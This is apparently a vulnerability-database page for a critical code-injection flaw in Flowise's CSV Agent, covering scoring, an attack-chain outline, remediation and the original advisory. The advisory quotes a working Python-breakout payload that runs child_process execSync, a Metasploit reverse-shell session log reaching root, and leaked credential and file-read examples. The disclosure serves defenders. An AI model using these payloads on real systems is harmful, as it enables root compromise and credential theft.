Skip to main content

Flowise CVE-2026-69255

| EUVDEUVD-2026-52745 CRITICAL
Code Injection (CWE-94)
2026-08-04 https://github.com/FlowiseAI/Flowise GHSA-vmv7-4m6c-3cg5
9.2
CVSS 4.0 · Vendor: https://github.com/FlowiseAI/Flowise
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Flowise
  2. Delivery
    Create CSV Agent chatflow
  3. Exploit
    Upload crafted base64 data-URI CSV
  4. Install
    Break out of Python string literal
  5. C2
    Bridge Pyodide js to host Node process
  6. Execute
    execSync child_process as root
  7. Impact
    Root reverse shell / data theft

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires an authenticated Flowise account able to create or run a chatflow that uses the CSV Agent node (the exploit log shows an 'Authentication successful' step and creation of a chatflow before payload delivery); the CSV Agent feature must be reachable. The injected data-URI base64 string must contain no commas, because csvFile.split(',') splits the payload on every comma - the documented payload works around this. Exploitation is limited by the need for valid credentials (PR:L, not unauthenticated) and by the target running the vulnerable CSV Agent code path in flowise/flowise-components <= 3.1.2; impact is maximized when Flowise runs as root in a container, which is the common default.

Impact

The reported CVSS v3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Critical) is consistent with the described attack: network-reachable, low complexity, requiring only low-privilege authentication, with a scope change reflecting the Pyodide-sandbox-to-host escape and full CIA impact. Real-world risk is high because publicly available exploit code exists (a Metasploit module, flowise_csv_agent_rce, and a demonstrated root Meterpreter session on Flowise 3.1.2), the process runs as root/PID 1 in typical container deployments, and a vendor patch is available so the details are public. The main limiting factor is the PR:L authentication requirement - an attacker needs valid credentials (or an unauthenticated/weakly-authenticated Flowise instance) to create the malicious chatflow. No EPSS score and no CISA KEV entry were provided; absence from KEV means active in-the-wild exploitation is not confirmed, so prioritization should rest on the confirmed POC plus the trivial post-auth exploitability rather than on KEV/EPSS signals, which are missing here.

Exploit ScenarioDerived

An authenticated Flowise user uploads a crafted CSV data URI to a CSV Agent chatflow whose base64 payload breaks out of the Python string and imports the js bridge to reach the host process. Because attack complexity is low (AC:L) and only low privileges are required (PR:L), the injected command runs as root in the container, giving the attacker a reverse shell. A public Metasploit module (flowise_csv_agent_rce) automates the whole chain to a root Meterpreter session.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 04, 2026

Remote code execution in FlowiseAI Flowise (npm packages flowise and flowise-components) versions 3.1.2 and earlier lets an authenticated user achieve root command execution on the host by injecting Python into the CSV Agent's Pyodide sandbox, which bridges back to the host Node.js process. Attackers reach OS command execution, credential theft, arbitrary file read, and server crash. A working Metasploit module and root Meterpreter session are documented, so publicly available exploit code exists, though the flaw is not listed in CISA KEV.

RemediationAI

Upgrade to Flowise 3.1.3 or later, which contains the fix (Vendor-released patch: 3.1.3; released tag https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3, PR https://github.com/FlowiseAI/Flowise/pull/6499, commit f4e2794f6a576b94578f2fdafbf49c2fb304626c). The patch removes/deprecates the vulnerable agent path; the upstream recommended code fix is to bind the value via pyodide.globals.set('base64_string', base64String) instead of string interpolation, or to reject any base64 not matching /^[A-Za-z0-9+/=]*$/ before interpolation. If you cannot patch immediately, disable or remove the CSV Agent (and the related Airtable Agent) nodes so untrusted users cannot invoke the Pyodide code path, restrict Flowise to trusted authenticated operators only and place it behind network access controls, and avoid running the container as root (drop to an unprivileged UID) to blunt the impact of any code execution - note these controls reduce functionality (loss of CSV/Airtable agent features) and do not fully close the injection, so patching remains the priority.

Affected VersionsENISA

Flowise < 3.1.3

Affected Packages

npm flowise fix: 3.1.3
npm flowise-components fix: 3.1.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability lives in the CSV Agent node (packages/components/nodes/agents/CSVAgent/CSVAgent.ts). A base64 string extracted from an uploaded data-URI CSV file is interpolated directly into a Python source template (base64_string = "${base64String}", around lines 155-171) that Flowise then runs inside Pyodide (WebAssembly-based CPython). Because the value is concatenated into a Python string literal without escaping, a payload containing a closing double-quote can break out of the string and inject arbitrary Python - the classic CWE-94 code-injection pattern. The validatePythonCodeForDataFrame() denylist that would catch dangerous calls is only applied to LLM-generated code (line 198), not to this initial interpolated block. Once inside Pyodide, the js bridge exposes the host globalThis, allowing process.mainModule.constructor._load('child_process').execSync() to bypass the ESM require restriction and spawn OS processes; process.binding('fs') enables arbitrary file read and spawn_sync calls can crash Node.js.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/FlowiseAI/Flowise) PRIMARY 9.2 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.9 CRITICAL

Network-reachable and low-complexity but requires low-privilege authentication (PR:L); Pyodide-sandbox escape to host warrants S:C, with full C/I/A impact including root command execution and DoS.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).

CVSS VectorVendor: https://github.com/FlowiseAI/Flowise

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

UPDATE 2026-05-20: Full RCE as root VERIFIED

This is not theoretical - a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.

Verified Exploit Chain

  1. Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161)
  2. Pyodide js bridge provides access to the host Node.js process
  3. process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
  4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)

Working RCE Payload

";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");
#

Constraint: No commas allowed in payload - csvFile.split(',') splits on all commas.

Metasploit Session Proof

msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit

[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)

meterpreter > getuid
Server username: root

meterpreter > sysinfo
Computer     : cbce3fb352b7
OS           : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter  : x64/linux

meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux

Additional Verified Impact

Credential Theft:

FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...

Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7

Server DoS - certain native binding calls (spawn_sync) crash the Node.js process entirely.

CVSS v3.1: 9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

---

Original Report (below)

Vulnerable Code

File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

Lines 133-138 - Unsanitized string extraction from data URI via file.split(',').pop().pop() - no validation on content.

Lines 155-171 - Direct interpolation into executable Python code: base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.

validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.

Remediation

Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation

Option 2: Validate base64 before interpolation - reject if not matching /^[A-Za-z0-9+/=]*$/

Option 3: Escape special characters (", \n, \r, \\) before interpolation

Related CVEs

  • CVE-2026-41264 (CSV Agent regex bypass)
  • CVE-2026-41265 (Airtable Agent sandbox bypass)
  • CVE-2026-46442 (NodeVM sandbox escape)

Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.

Executive ViewAI

Why It Matters

FlowiseAI Flowise (npm packages flowise and flowise-components) versions 3.1.2 and earlier contain a critical authenticated remote code execution vulnerability that allows attackers to execute arbitrary commands with root privileges on affected servers. Organizations deploying Flowise are at immediate risk of complete infrastructure compromise, including credential theft and data exfiltration, especially in environments managing sensitive AI workflows or customer data.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 76% exploitable
Prevalence
Medium
popular open-source LLM agent builder, common in AI dev but not ubiquitous
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD 🇯🇵JVN NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy